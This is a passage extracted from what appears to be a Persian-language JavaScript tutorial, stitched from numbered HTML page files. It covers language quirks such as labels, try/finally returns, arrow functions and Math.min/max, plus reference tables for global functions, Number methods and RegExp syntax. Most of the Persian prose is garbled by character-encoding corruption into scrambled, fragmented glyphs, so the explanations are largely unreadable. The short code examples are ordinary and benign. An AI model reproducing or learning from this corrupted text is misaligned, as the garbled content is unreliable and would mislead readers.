ژگ·
±¼ ´»
ر
»³ ¶
ک
Object
Ú±
ما
:µº» ϳ
بو
²±
ز
ƹ
·، کد ما ب¶ ش
Â
ک
µ
ر حال
³ ·ÉÕ± ،Ù±»Ï³²
ک
ê±²Õ¸
{
Object:
Object
;
}
Û
¸اب
Ú± Ñ
ا
È
ع
»
¶ با
ß
¾ی
Á ¼
باشد
ö
چا
Æ
ک¶ قاب
Ù±» ϳ
ر آ¼ر
³ Ñ»²¾
لی
é
ب¶ قال
»
¶ کد ر
¹¸ ¿±»
ما
ì
پ
º
.µº» Ï
شد
ö
' چا
]
Object object
['
ب¶ صورت
toString
)labels
(
ا
ÈæË
چ
²
ب
µ
ی
Â
ر حال· ک¶ قاب
³ ،
د
Á
ر
»
د
Á ´³
ا
±
عات ز
Í
ط
»
label
³
ر مور
³ µ
پ
±²¹º»¼
ها´ جا
ì±
و
Á¶
ام
Á²
ب
²
کث
»
:µº» ·Î
جال
foo: {
console
.log(
“first”
);
break
foo;
console
.log(
“second”
);
}
// > first
// -> undefined
´»²
ب
label
ز
»
ن
»
د، م·¸و
Á
م·شو
ϳ
¾فا
º»
continue
¼
break
با
éÂõ» Ï
ر شد
»³
label
ت
»
ار
Î
ع
.³²
ک
ϳ
¾فا
º»
break
ز
» Ö
ز
° Û
ق
»
ر مو
³ ¼ ³²
ک
ϳ
¾فا
º» ¶ÝÂ
·ها´ ح
º
ر
²
ب
label
´س¸فاده تودرتو ´ز
a: b: c: d: e: f: g:
1
,
2
,
3
,
4
,
5
;
// -> 5
230
Çɱ
وا اسکر
²
ج
ÍȲ
ی ج
²º ²ÎÂ
================================================ FILE: HTML/233.html ================================================
Ù
ک
Æ
، بدلی
µº» Ï
· شد
Á»
و
û²Ó
ر¸و
³
ما ب¶ صورت ¸و
» ،µº» Ï
شد
ϳ
¾فا
º»
label
ز
» ø
و
Ó Ñ
د مثا
ÉÁ
ا
È
ه
ی
É
ر م·ک
»
گذ
»¼
ا
È
ب¶ ش
»
ر
³
¿ مور
±» ·Â
·ها´ ک
º
ر
²
ب
ÆÎ
لی
ç
ن موضو
³
بو
³²
کارب
!æ½Ø¿ try..catch
؟
3
ا
± 2
؟
³
هد بو
»
و
à ´×
چ¶ چی
²±
¶ ز
¹¸ ·
¼ج
²Ã
ا
È
ش
²æÁ ¶
ب
(
()
=> {
try
{
return
2
;
}
finally
{
return
3
;
}
})();
م·باشد.
try
ØÍ
´ ب
³²
کارک
µ
ماهی
Ù
ه
ç
موضو
Æ
لی
³ .µº» 3 Ąº
ا
Å
جال
arrow functions
ید:
É
¸وج¶ ک
²±
ز
Ñ
ب¶ مثا
let
f =
()
=>
10
;
f();
// -> 10
:²±
کد ز
³
ر مور
³
ما
» ،³
ی¿ بو
È
ه
Ù
ار ما ه
æ¾Á» ¼ ¶¾º
ر
³
let
f =
()
=> {};
f();
// -> undefined
Û
¸اب
ø
و
Ó
¶ کد
¹¸ ¼ µº» Ï
ا
ξ
ش
»
ار
æ¾Á» ¿±» ¶
ر حال· ک
³ ،
د
±
ج¶ شو
»
مو
{}
ش¾ید با
»³
ار
æ¾Á»
د
±
شا
ر´
»
د
Ý
¼ م
µ
یس
Á ´»¶Á
بد
å
´ هی
»
ر
»³ Ï
شد
³
ا
ß±» Û
¿ ¸اب
±» ،
هد
³·
ر م
»²
ق
f
²
ر م¾÷ی
³ ê±²Õ¸ »
د´ ر
±
جد
ی
É
ک
ÆÈ
ع
Ù
س¾ی
Á»
م·¸و
²±
هد، ب¶ صورت ز
³ µÐ
بازگ
object
Ù
¾ی
º»
میخو
²
گ
» .
هد
³·ÈÁ µÐ
بازگ
»
ر
let
f =
()
=> ({});
f();
// -> {}
231
͸
یازد
ØÉ³
================================================ FILE: HTML/234.html ================================================
arrow functions À
ا
È
آرگومان
ید:
É
¸وج¶ ک
²±
¶ کد ز
¹¸ ¶
ب
// regular function
let
f =
function
() {
return
arguments
;
};
f(
“a”
);
// -> { ‘0’: ‘a’ }
// arrow function
let fa
= () => arguments;
fa
(
“a”
); // -> Uncaught ReferenceError: arguments is not
defined
²
گ
» ،³
ر
»
د
Á ³
¼جو
arrow
Û
ب
»
ر ¸و
³
arguments
²
هد، م¾÷ی
³·
ان م
ÐÁ ø
و
Ó
¶ کد
¹¸ ¶
ور ک
äÁ
ا
È
¶ ه
Â
ب
ی
É
ک
ÆÈ
ع
²±
ز
ƹ
ب¶ ش
Ù
ی
Á»
، م·¸و
Ù±²
ی
Ì
ب
Û
ز ¸اب
» ´³¼
آرگومان ¼ر
³»
د
Õ¸
n
Ù
هی
»
بخو
let
f = (
...args
) => args;
f(
“a”
);
return
اه
Ǹ
´س¸فاده ´ش
ج¶
»
ا مو
äÃ
با
»
ام¶ ر
Á²
ب
µº» ¿¹È
¼ م
³
ر
»³ »
ر
³
و
à Ë
ا
Ã
ات
¹Á ×
ی
Á
return
ید´
Â
¶ ک
ÈÂ
ز ک
» ϳ
¾فا
º»
´»²
د، ب
Á
شو
á
مو
»²Ó
د
±
ا
ÎÁ ×±
¾¶ها´ ر
¹Á
ما
»
ان باشد
ȱ»²
ب
ϳ
ا
º ·
موضوع
µº» ¿¹È
¶ م
¹É±»
د، با
É
ک
ð
¸وضی
Æ
لی
³
دن
Á»
و
Ã
ید بد¼ن
É
ی
Î
ید ب
É
· ک
Õº ،µº» Ï
وش¾¶ شد
Á Ë
و
àà ¿±»
ر
³
د
Õ
¶ کد ب
¹¸ Ñ
مثا
؟
µº
ا
ß
ام¶ ک
Á²
ا´ ب
äà ¶
د ک
±
، م¾وج¶ م·شو
Ï
شد
ϳ»³
(
function
() {
return
{
b:
10
;
}
})();
// -> undefined
232
Çɱ
وا اسکر
²
ج
ÍȲ
ی ج
²º ²ÎÂ
================================================ FILE: HTML/235.html ================================================
¼
return
¿¾Ó²ÌÁ
ر
»²
ج× ق
µ
یس
Á ´×
آن چی
Æ
لی
³ ¼
د
Á»³²
باز م·گ
undefined
ر
»
د
Ý
م
IIFE
ارت
Î
ع
:³²
هد ک
»
و
Ã
¾· کار
º
ر
³ ¶
ب
²±
ز
Ö²Ó ¶
ب
Ñ
ان مثا
È
! ه
óÃ Ú±
ر
³ Ï
شد
ϳ»³ µÐ
ارت بازگ
Î
ع
(
function
() {
return
{
b:
10
};
})();
// -> { b: 10 }
با
Ѽ» Ñ
ر مثا
³ ¼
ها م·باشد
²äº ²Ã
ر آ
³
semicolon
کار
³
و
Ã
شدن
Ò
ر
³ ،³»
د
Ã
¿ ر
±» ·ÝäÉ
م
Æ
لی
³
م·شو
ϳ»³ µÐ
بازگ
undefined ،ð
ی
Þ
ص
³²¹ÂÈ
ب¶ جا´ ع
return
ز
»
د
Õ
¾¿ ; ب
Ó²
ر گ
»²
ق
Math.min
´س¶ ´ز
²¸Í
کوچ
Math.max
Math
.min(
1
,
4
,
7
,
2
);
// -> 1
Math
.max(
1
,
4
,
7
,
2
);
// -> 7
Math
.min();
// -> Infinity
Math
.max();
// -> -Infinity
Math
.min() >
Math
.max();
// -> true
ا
Ȳ½
د م¸غ
¹Ø
·ی م
²
مع
´ مثا
»²
، ب
Ù
ی
É
· ک
Ó²Õ
م
»³
د
ß
، م
Ù±»Ï³²
· ک
Ó²Õ
م
ÍÎ
ک¶ ق
»
ر
²
م¾÷ی
Ú± Ù
ی
Á»
م·¸و
µ
پ
±²¹º»¼
ر جا
³
a;
a;
// This is also valid
a, a;
د:
É
ا کار م·ک
äÃ
ی× بد¼ن
Á )
mode strict
( ¶Á»²
ی
̾
خ
º µ
ر حال
³ ·¾
ح
233
͸
یازد
ØÉ³
================================================ FILE: HTML/236.html ================================================
var
a, a, a;
var
a;
var
a;
¾¶ م·شو
Ó²
گ
²æÁ
ر
³
· شدن
Ó²Õ
ار م
ι±
ن
»
و
É
·ها ب¶ ع
Ó²Õ
م
Ö
ا
ȸ
籫
آر
sort
Ú
تاب
ê²
ف
Ͻ
ر·¸ار پ
:²±
¶ کد ز
¹¸
د
ÉÁ
ید. ما
É
ک
鸲
م
»
آنها ر
sort
Û
هید با ¸اب
»
و
÷
د ¼ م
±
ر
»³ ³»
عد
»
ز
» ´»¶±»
ید آر
É
ور ک
à¸
[
10
,
1
,
3
].sort()
// -> [ 1, 10, 3 ]
ì
پ
º ¼ ϳ²
ک
Ʊ
د
θ ¶¾
ب¶ رش
»
ر
³
موجو
²
اص
É
ع
µ
پ
±²¹º»¼
، جا
sort
ر م¾د
³ þ²
ف
Ð
ی
Å
ب¶ صورت
³
از´ مور
ºé¸²
یات م
ÂÈ
ع
ø
و
Ó ·
¼ج
²Ã ìÅ ،
د
É
س¶ م·ک
±
ا
Ý
م
UTF-8
با کد
»
ر
Ï
شد
³
ا
ß±» ´
رش¾¶ها
یس
Á ³»
عد
» ´»²
ما ب
²æÁ
·º
ر
²
´ ک¶ با ب
»Ï
د
ÉÉ
س¶ ک
±
ا
Ý
م
Û
ز ¸اب
» ϳ
¾فا
º»
¼ با
³²
ک
ϳ
¾فا
º» ²±
· ب¶ صورت ز
¹
ی
ɹ¸
ن
»
¾¶ م·¸و
Î
ل
»
هی
³ Ö
ا
ßÁ» »
ر
ð
ی
Þ
از´ ص
ºé¸²
یات م
ÂÈ
هد، ع
³·
م
µÐ
بازگ
»
¶ ر
ß
¾ی
Á ²
اص
É
ع
ë±²
¸ف
Æ
حاص
[
10
,
1
,
3
].sort((
a, b
) => a - b)
// -> [ 1, 3, 10 ]
234
Çɱ
وا اسکر
²
ج
ÍȲ
ی ج
²º ²ÎÂ
================================================ FILE: HTML/237.html ================================================
¾رود
º
ر
²
ای¿ بخش ا·تظ
À
ع
¹²
ط
º
از
Á
پ
±
ید.
É
ک
Æ
ی
ÂÞ¸ ²¸·ÝäÉ
د´ م
±³
با
»
ر
Ñ
و
ÝÕ
م
²
ی
õ ´
اها
äÃ
±
هید.
³ Ö
ا
ßÁ»
ا
äÃ
س· بد¼ن
±
و
Á
د ¼ کد
±
ج¶ شو
»
ا مو
äÃ
با
²¾È
ک
±
ید.
º
ا
ÉÐ
ب
»
د ر
É
ه
³·
م
ý
ر
µ
پ
±²¹º»¼
ر جا
³
ا
Ôɸ ¶
ک
Ë
ا
à ´
ژگ·ها
±¼
ز
» ·Ã²
ب
235
͸
یازد
ØÉ³
================================================ FILE: HTML/238.html ================================================
236
Çɱ
وا اسکر
²
ج
ÍȲ
ی ج
²º ²ÎÂ
================================================ FILE: HTML/239.html ================================================
³¶
بخش دوازد
É
رد
À»
ا
Ê Ï
ائ
Æ
و ض
È
و
±¸
ج
بخش:
Â
ا
±
حت
º
½µ½ ʵ²
ن
µ Þ
جدو
م·
²Ä
ع
Ì
ب
µ²À Þ
جدو
اء
È
ش
µ
½ و
µ
عد
µ Ì
ب
µ²À
· و
Æ
ویژ
RegExp Ó
م¸ظ
¹µº
ا
»
ع
Á
ا
ĸõº Þ
جدو
)
Array(
یه
µº
آ
Ì
ب
µ²À Þ
جدو
)Date
( è
ی
º
ا
À Ì
ب
µ²À Þ
جدو
)Math
( ·
یاض
º Ì
ب
µ²À Þ
جدو
)Number
( Á½
عد
Ì
ب
µ²À Þ
جدو
ا
à event Þ
جدو
================================================ FILE: HTML/24.html ================================================
22
ه ای
±²
حث پ
²
و مب
³±²
آشن
[
)
Expressions( »²¼
½با
²
. ه
µÓ²
ر گ
»²
· ق
º
ر
²
ب
³
مور
ÆÎ
ق
Ä
ر بخ
³ ¶
د ک
ɾ
ت هس
»
¾ور
º³ Ï
د
É
ه
³ Æ
ی
¹Ð¸ ´»×
ج
»
ت
»
ار
Î
ع
ها
²ÌÂÈ
ا ع
± ¼ ²±³
ا
Ý
ها، م
²
ز م¾÷ی
» ·Î
کی
²¸ ²
. ب¶ ه
槯
ارت
Î
¿ ع
±
د
É
ا چ
± Ú±
ز
» ´»¶
وع
Èß
¾ور م
º³
ید:
É
ک
Ï
اهد
Ð
م
ً
»³
د
ß
م
»
ر
ÆÎ
ق
Ä
بخ
Ñ
. مثا
³
ارت گف¾¶ م·شو
Î
ع
Ú±
a = b +
10
;
:µº» ²±
ارت ز
Î
ار ع
Ô
چ
Æ
¾ور شام
º³ ¿±»
±
.µº» ϳ
ا
º ³
عد
Ú± ¼ ³
م·شو
Ï
امید
Á ´
ر
»
د
Ý
ارت م
Î
ک¶ ع
10
ر
»
د
Ý
م
±
ر
³ Ï
شد
ϲ
ی
Ãè
ر
»
د
Ý
ن م
³²
اب· ک
±
· باز
ÉÕ
¼ ب¶ م
³
م·شو
Ï
امید
Á ´²
ارت م¾÷ی
Î
ک¶ ع
b
²
م¾÷ی
.槯
b
²
م¾÷ی
±
هد.
³·
م
Ö
ا
ßÁ» »
اض· ر
±
ر
ÛÈ
یات ج
ÂÈ
¼ ع
µº» ·
اض
±
ارت ر
Î
ک¶ ع
b + 10
é
کی
²¸
±
ز
» Æ
¶ حاص
ß
¾ی
Á ½
¾سا
Á» ·ÉÕ
¼ ب¶ م
³
م·شو
Ï
امید
Á ·
¾ساب
Á»
ارت
Î
ک¶ ع
a = b + 10
é
کی
²¸
.槯
a
²
ب¶ م¾÷ی
ÛÈ
ج
[
ر·امه
³ Ʋ
جر
²
´»²
ت ب
»
ار
Î
ت ¼ ع
»
¾ور
º³ ¿±»
ما
»
شد
îÞ
ت ب
»
ار
Î
ت ¼ ع
»
¾ور
º³
¶ با
ä
ب
»
ر ر
³ ÆÎ
ها´ ق
Ä
ر بخ
³
یاز
Á
د
É
ک
Ñ
ا
È
ع
» ¼ ϳ²
ک
Ø
ر
³ »
ت ر
»
¾ور
º³ ¿±» ²¸
¿ ک¶ کامپیو
±» ´»²
د ¼ ب
ɾ
هس
ÙÔÓ ¼ Ø
ر
³ Æ
سان قاب
Á»
´ ماشی¿
»²
ارتها ب¶ طور´ ک¶ ب
Î
ت ¼ ع
»
¾ور
º³
ر
³
ت
»²
¸÷یی
Ö
ا
ßÁ» .³
ر
»³ ³
ر آنها ¼جو
³ ·¸»²
ب¶ ¸÷یی
.)
interpreter
( ²
¼ م¾÷ی
)
compile
( Ʊ
: کامپا
³
م·شو
Ö
ا
ßÁ» ë±²
¼ ط
³
ز
»
باشد
ÙÔÓ Æ
قاب
)²¸
کامپیو
(
´»²
ج
»
بار
²
ی¿، با ه
±
ا
Å ¶
ب
°
ز با
» ¼ óÃ ¶
ب
óÃ
ت
»
¾ور
º³ ¶È
ج
²¸ ·
س
±
و
Á¶
ام
Á²
· زبانها´ ب
ò
ر ب
³
س·
±
و
Á¶
ام
Á²
ز زبان ها´ ب
» ²Ì±³ ·Ã²
ر ب
³ .³
گف¾¶ م·شو
¶ کد
±µ
¸ف
ک¶ ب¶ آن
³
م·شو
Ö
ا
ßÁ» ¶
ام
Á²
ب
د شد.
É
ه
»
و
à »²
ج
» ·ÂÎ
ق
Ï
شد
Ʊ
ت کامپا
»
¾ور
º³ ¶
ام
Á²
´ ب
»²
ج
» Ö
ا
ÌÉ
ر ه
³ ¼ Ï
شد
Ʊ
کامپا
ÆÎ
ز ق
»
کد
بار
²
ر ه
³ µ
پ
±²¹º»¼
ک¶ کدها´ جا
»²
، چ
µº» ´²
¸فسی
ç
و
Á
ز
» µ
پ
±²¹º»¼
س· جا
±
و
Á¶
ام
Á²
زبان ب
µÝ
ی
Ý
ر ح
³ ¶
ک
Æ
لی
³ ¿±» ¶
، ب
µ
یس
Á ë
قی
³ Í
کام
ç
¿ موضو
±» ¶¾Î
ل
» .
د
Á
م·شو
á
ز
»³²Å ¶
ام
Á²
´ ب
»²
ج
»
Ï
شد
Ʊ
´ کدها´ کامپا
»²
ج
» ¶
ب
Ö»
قد
» ¶Â
اص
ÓÍ
¼ ب
ϳ²
ک
Ʊ
کامپا
»
ام¶ ر
Á²
ب
»
ب¾د
» µ
پ
±²¹º»¼
مو¸ور جا
د.
É
م·ک
================================================ FILE: HTML/240.html ================================================
[
µ
د
²
ع د
²¶·²
:µº» ²±
ز
³
مور
7 Æ
شام
µ
پ
±²¹º
ا
È
ک
»
ر
³ Ï
شد
ê±²Õ¸ ϳ»³ ç»
و
Á»
±
Boolean
±
Null
±
Undefined
±
Number
±
String
±
)µº» Ï
· شد
Ó²Õ
م
6 µ
پ
±²¹º
ا
È
ک
»
ر
³ ϳ»³ ç
و
Á ¿±»(
Symbol
±
Object
[
¶م´
ǽ À³²¶Á
Û
¸اب
ات
Þ
¸وضی
decodeURI)(
ب¶ ج× , / ?: @ ;pma& =
Ë
ا
à ´
ها
²¾
ک
»
ن کار
³²
د ک
¹±³ ´»²
ب
Ï
د شد
¹Á»
URI
Ú±
ر
³
# $ +
decodeURIComponent)(
URI
Ú±
ر
³ Ë
ا
à ´
ها
²¾
ک
»
ام· کار
ȸ
ن
³²
د ک
¹±³ ´»²
ب
encodeURI)(
ب¶ ج× , / ?: @
Ë
ا
à ´
ها
²¾
ک
»
کار
)
د
¹Á»( ´
ر
»
´ کدگذ
»²
ب
URI
Ú±
ر
³ # $ + = &
encodeURIComponent)(
Ú±
ر
³ Ë
ا
à ´
ها
²¾
ک
»
ام· کار
ȸ )
د
¹Á»( ´
ر
»
´ کدگذ
»²
ب
URI
eval)(
´³¼
´ ¼ر
»¶¾
رش
²¾
م
»
ار
Å ´»²
ج
» ¼ ·
اب
±
رز
»
isNaN)(
ها´
²¾
م
»
ار
Å ¿
یی
Õ¸ ´»²
¼ ب
)(
isFinite
Û
¸اب
í
و
¹Õ
م
)³¼
د
Þ
ام
Á(
از
ß
م
²
ی
õ ³»
عد
»
ا
± ´³
عد
²
ی
õ ´³¼
¼ر
238
ردی
µ¾²Ë Ï
ئ
²Ê
ج¼اول و ض
================================================ FILE: HTML/241.html ================================================
Number)(
´ آن
³
عد
ѳ
ا
Õ
´ ب¶ م
³¼
ر ¼ر
»
د
Ý
ر م
»
د
Ý
م
Ʊ
د
θ ´»²
ب
NaN
ر
»
د
Ý
م
µ
ش
»
د
Á ³
¼جو
³
ب¶ عد
Ʊ
د
θ
ان
¹
م
» ²
گ
»(
م·شو
Ï
د
Á»³²
بازگ
parseFloat)(
ر
»
د
Ý
دن م
Á»³²
´ ¼ بازگ
³¼
´ ¼ر
»¶¾
رش
²¾
م
»
ار
Å á
ز
»³²Å
ا¼ر
É
ی× ش
È
´ با م
³
عد
parseInt)(
ѳ
ا
Õ
دن م
Á»³²
´ ¼ بازگ
³¼
´ ¼ر
»¶¾
رش
²¾
م
»
ار
Å á
ز
»³²Å
´ آن
³
عد
String)(
´ آن
»¶¾
رش
ѳ
ا
Õ
´ ب¶ م
³¼
ر ¼ر
»
د
Ý
م
Ʊ
د
θ
[
)Object
(
اء
Ã
ش
²
و
)
Number
(
د
²¹½² Æ
´¸ا
Ïå
وی
ژگ·
±¼
ات
Þ
¸وضی
constructor
³»
عد
» ¶
ب
Ê
بو
²
م
prototype
د ک¶
Á»³²
باز م·گ
»
· ر
Õ
¸اب
³
از
º·
م
»
ر
µ
پ
±²¹º»¼
جا
MAX_VALUE
µ
پ
±²¹º»¼
ر جا
³ ¿¹È
م
³
¿ عد
±²¾
ب×رگ
MIN_VALUE
µ
پ
±²¹º»¼
ر جا
³ ¿¹È
م
³
¿ عد
±²¾¹
کوچ
NEGATIVE_INFINITY
م·شو
Ï
د
Á»³²
×ها بازگ
±
ر
²º
ر
³( µ±
ا
ÔÁ ·
ف· ب
É
م
NaN
)
Not-a-Number
( ´³
عد
²
ی
õ
ر
»
د
Ý
م
ı
ا
ÈÁ
POSITIVE_INFINITY
م·شو
Ï
د
Á»³²
×ها بازگ
±
ر
²º
ر
³( µ±
ا
ÔÁ ·
ب
µÎ
مث
prototype
³
مور
Ï»
لخو
³
object
ژگ·ها ب¶
±¼ ¼
ن م¾دها
³¼×Ó» ´»²
ب
³²
ر م·گی
»²
ق
ϳ
¾فا
º»
239
͸
زد
²
دو
ØÉ³
================================================ FILE: HTML/242.html ================================================
[
)Number
Æ
ر ¼و
³(
د
²¹½² À³²¶Á
Û
¸اب
ات
Þ
¸وضی
isFinite)(
از ¼
ß
´ م
³
ر عد
»
د
Ý
، م
Û
´ ¸اب
³¼
¼ر
²¾
م
»
ار
Å ¶¹É±» ¿
یی
Õ¸
²
ی
Ã
ا
± µº» ´³¼
د
Þ
م
isInteger)(
µº» ð
ی
Þ
ص
³
ر عد
»
د
Ý
م
Ú± ¶¹É±» ·º
ر
²
ب
isNaN)(
µº» ´³
عد
²
ی
õ
ر
»
د
Ý
م
Ú± ¶¹É±» ·º
ر
²
ب
isSafeInteger)(
ı
ا
ÈÁ Æ
قاب
( µº» ¿
م
» ´³
ر عد
»
د
Ý
م
Ú± ¶¹É±» ·º
ر
²
ب
).
باشد
754
-IEEE
µ
م
²Ó
ر
³
toExponential)x(
)
Exponential
( ·±
ا
ÈÁ µ
م
²Ó
ر
³
ر
»
د
Ý
م
ڱ ı
ا
ÈÁ
toFixed)x(
ی×
È
ز م
»
د
Õ
ب
ð
ی
Þ
ص
Ù
رق
x
با
³
عد
ı
ا
ÈÁ
toPrecision)x(
x
Ñ
با طو
³
عد
ı
ا
ÈÁ
toString)(
´» ¶¾
ب¶ صورت رش
³
عد
ı
ا
ÈÁ
valueOf)(
ب¶ صورت
Û
¿ ¸اب
±»( ´»¶¾
´ رش
³¼
¼ر
Ú±
ر
»
د
Ý
م
ı
ا
ÈÁ
).³
· م·شو
Á»
و
û²Ó µ
پ
±²¹º»¼
جا
óº
¸و
Ú
¸وما¸ی
»
²
¸÷یی
»
ر
³
ر موجو
»
د
Ý
د ¼ م
É
ه
³·
¶ م
Ç»
ر
» ·¾Ð
ر بازگ
»
د
Ý
ن م
»
و
É
ر، ب¶ ع
»
د
Ý
م
Ú±
Û
ب
»
¶ ¸و
È
: ه
¹
¸وج
د.
É
ه
³ ·ÈÁ
[
RegExp Í
منظ
»²¼
½با
Æ
ا
Ç
¸ن
²¼
)
Modifiers(
ا
È
ه
¹º´²½
پ
·¹
ب¶ ب×رگ· ¼ کوچ
µ
ی
º
¼ بد¼ن حسا
)
global
( ´²º»²º ´
وها
ß¾
جس
Ñ
ا
È
ع
» ´»²
ها ب
Ï
د
Á»²
ی
Å
د:
Á²
ر م·گی
»²
ق
ϳ
¾فا
º» ³
مور
ò¼²
ح
)
case-insensitive
(
240
ردی
µ¾²Ë Ï
ئ
²Ê
ج¼اول و ض
================================================ FILE: HTML/243.html ================================================
Ï
د
Á»²
ی
Å
ات
Þ
¸وضی
i
ò¼²
· ح
¹
ب¶ ب×رگ· ¼ کوچ
í
حسا
²
ی
õ ´
ها
µÝ
اب
ä
م
Ñ
ا
È
ع
»
g
ë
اب
ä¸ ¿
¼لی
» ¿¾Ó
ا
±
ز
»
د
Õ
ب
( ´²º»²º
ها ب¶ صورت
µÝ
اب
ä
م
Ñ
ا
È
ع
»
)
ابد
±·
م¶ م
»³» ¼ Ï
د
ÐÁ ê
و م¾وق
ß¾
جس
m
´²äº
د
É
ر م¾¿ها´ چ
³
ها
ë
اب
ä¸ ¿¾Ó
ا
±
)Brackets
(
ا
ȶ
´ک
²
ب
د:
Á²
ر م·گی
»²
ق
ϳ
¾فا
º» ³
ها مور
²¾
ک
»
ز کار
» ´»Ï
¾¿ باز
Ó
ا
± ´»²
ها ب
µ
ک
»²
ب
ارت
Î
ع
ات
Þ
¸وضی
[abc]
ò¼²
ا ح
ßɱ»
ر
³(
د
Á
ر
»³
ر
»²
ق
µ
ک
»²
ب
ÆÃ»³
ر
³ ¶
· ک
±
ها
²¾
ک
»
ام· کار
ȸ ¿¾Ó
ا
±
)¶Á
گا
»
ب¶ صورت جد
c
¼
b
¼
a
[^abc]
³
ر
»
د
Á
ر
»²
ق
µ
ک
»²
ب
ÆÃ»³ ´
ها
²¾
ک
»
ر بی¿ کار
³ ¶
´ ک
²¾
ک
»
کار
²
¾¿ ه
Ó
ا
±
]0-9[
µ
ک
»²
ب
ÆÃ»³ Ù
رق
²
¾¿ ه
Ó
ا
±
]^0-9[
´³
عد
²
ی
õ ²¾
ک
»
کار
²
¾¿ ه
Ó
ا
±
)x|y(
| ²¾
ک
»
با کار
Ï
شد
À
خ
Ð
ا´ م
ÔȾ±
ز آ
» ´³»
د
Ã
ر
²
¾¿ ه
Ó
ا
±
¼ ³
م·شو
ê
م¾وق
²æÁ ³
مور
³»
د
Ã
¼لی¿ ر
» ¿¾Ó
ا
± ăÞ
ب¶ م
ø
و
Ó Ñ¼
جد
³
ر
»
ز مو
» Ö»
کد
²
ه
¸وج
Ñ
ب¶ طور مثا
( ³²
ک
ϳ
¾فا
º»
ها
Ï
د
Á»²
ی
Å
ا با
Ô¾
ک
»²
ب
é
کی
²¸
ز
»
د
±
ها با
³»
د
Ã
ام· ر
ȸ ¿¾Ó
ا
± ´»²
¿ ب
±»²
اب
É
ب
.)
h]/g^]/
)
Metacharacters(
ا
Ȳ¸
م¸اکار´ک
:µº» Ï
شد
ð±²Ð¸ ²±
ز
Ѽ
ر جد
³ ¶
د ک
ɾ
هس
Ë
و
àà ¶
ا´ ب
ÉÕ
¼ با م
Ï
ژ
±¼ ´
ها
²¾
ک
»
کار
241
͸
زد
²
دو
ØÉ³
================================================ FILE: HTML/244.html ================================================
²¾
ک
»
م¾اکار
ات
Þ
¸وضی
.
´²¾
ک
»
کار
²
ا ه
±
د
±
جد
²äº ¶
ب
Ê
بو
²
م
²¾
ک
»
· ب¶ ج× کار
¹¸ ²¾
ک
»
کار
Ú±
باشد
óÃ ´
ا
Ô¾Á» ´
ا
ÉÕ
ک¶ ب¶ م
\w
) _ ( ¿±²±
ز
óÃ ¿
ی
ÉãÈ
¼ ه
9
-
0 ،a-z، A-Z ´
ها
²¾
ک
»
¾¿ کار
Ó
ا
± ´»²
ب
\W
óÃ ¿
ی
ÉãÈ
¼ ه
9
-
0 ،a-z، A-Z ×
ها ب¶ ج
²¾
ک
»
ام· کار
ȸ ¿¾Ó
ا
± ´»²
ب
) _ ( ¿±²±
ز
\d
رق
( ´³
عد
²¾
ک
»
کار
Ú± ¿¾Ó
ا
± ´»²
ب
\D
´³
عد
²
ی
õ ²¾
ک
»
کار
Ú± ¿¾Ó
ا
± ´»²
ب
\s
ال·
à ´
ا
ñÓ ²¾
ک
»
¾¿ کار
Ó
ا
± ´»²
ب
\S
ال·
à ´
ا
ñÓ
ز
» ²
ی
õ ´²¾
ک
»
¾¿ کار
Ó
ا
± ´»²
ب
\b
¶ÈÂ
ا´ ک
Ô¾Á»
ا
± »
ب¾د
»
ر
³ ë
اب
ä¸ ¿¾Ó
ا
± ´»²
ب
\B
اشد
ÎÁ ¶ÈÂ
ا´ ک
Ô¾Á»
ا
± »
ب¾د
»
ر
³ ¶
· ک
Ý
اب
ä¸ ¿¾Ó
ا
± ´»²
ب
\0
NUL
²¾
ک
»
¾¿ کار
Ó
ا
±
\n
د
±
جد
²äº ²¾
ک
»
¾¿ کار
Ó
ا
±
\f
د
±
¶ جد
Þ
صف
²¾
ک
»
¾¿ کار
Ó
ا
±
\r
)
return
( µÐ
بازگ
²¾
ک
»
¾¿ کار
Ó
ا
±
\t
é¸ ²¾
ک
»
¾¿ کار
Ó
ا
±
\v
´³
و
È
ع
é¸ ²¾
ک
»
¾¿ کار
Ó
ا
±
\xxx
ک¾ا
»( ·¾Ð
ه
µÐ
ه
³
با عد
ѳ
ا
Õ
¸ی¿ م
° ²¾
ک
»
¾¿ کار
Ó
ا
±
\xdd
ا
È
ی
º³»×Ì
ه
( 16 ¶±
ا
Å ³
با عد
ѳ
ا
Õ
¸ی¿ م
° ²¾
ک
»
¾¿ کار
Ó
ا
±
\uxxxx
ا
È
ی
º³»×Ì
ه
( 16 ¶±
ا
Å ³
با عد
ѳ
ا
Õ
د م
¹
ی
Á
و
± ²¾
ک
»
¾¿ کار
Ó
ا
±
242
ردی
µ¾²Ë Ï
ئ
²Ê
ج¼اول و ض
================================================ FILE: HTML/245.html ================================================
)
Quantifiers(
ا
鑄
½¶س
»
ک
ارت
Î
ع
ات
Þ
¸وضی
n+
باشد
n
²¾
ک
»
کار
Ú± Æ
ق
»
حد
Æ
´ ک¶ شام
»¶¾
رش
²
ه
n*
باشد
n
²¾
ک
»
کار
Ú± Æ
ق
»
حد
Æ
ا شام
± ¼
n
²¾
ک
»
´ ک¶ بد¼ن کار
»¶¾
رش
²
ه
n?
باشد
n
²¾
ک
»
کار
Ú±
ً
ا
Ý
قی
³
ا
± ¼
n
²¾
ک
»
´ ک¶ بد¼ن کار
»¶¾
رش
²
ه
n{X}
باشد
n
²¾
ک
»
ز کار
» ·±
¸ا
x
´»¶
ال
ÎÁ³ Æ
´ ک¶ شام
»¶¾
رش
²
ه
n{X,Y}
باشد
n
²¾
ک
»
کار
y
¸ا
x
ز
» ´»¶
ال
ÎÁ³ Æ
´ ک¶ شام
»¶¾
رش
²
ه
n{X,}
باشد
n
²¾
ک
»
ز کار
» ·±
¸ا
x
Æ
ق
»
´ حد
»¶
ال
ÎÁ³ Æ
´ ک¶ شام
»¶¾
رش
²
ه
n$
باشد
n
آن
²Ã
آ
²¾
ک
»
´ ک¶ کار
»¶¾
رش
²
ه
^n
باشد
n
آن
Ѽ» ²¾
ک
»
´ ک¶ کار
»¶¾
رش
²
ه
?=n
³²
ی
Ì
ر ب
»²
ق
n
²¾
ک
»
ز آن کار
»
د
Õ
¶ ب
Â
اص
ÓÍ
´ ک¶ ب
»¶¾
رش
²
ه
?!n
)?=
n
í
و
¹Õ
م
( ³²
ی
ÌÁ
ر
»²
ق
n
²¾
ک
»
ز آن کار
»
د
Õ
¶ ب
Â
اص
ÓÍ
´ ک¶ ب
»¶¾
رش
²
ه
)
RegExp( Â
ظ
Ñ
م
Ê´
ار
Ç¿ ¾
ا
È
ژگی
±À
Property
Description
constructor
د
Á»³²
م·گ
²
ب
»
ر
RegExp
Ï
د
Á
از
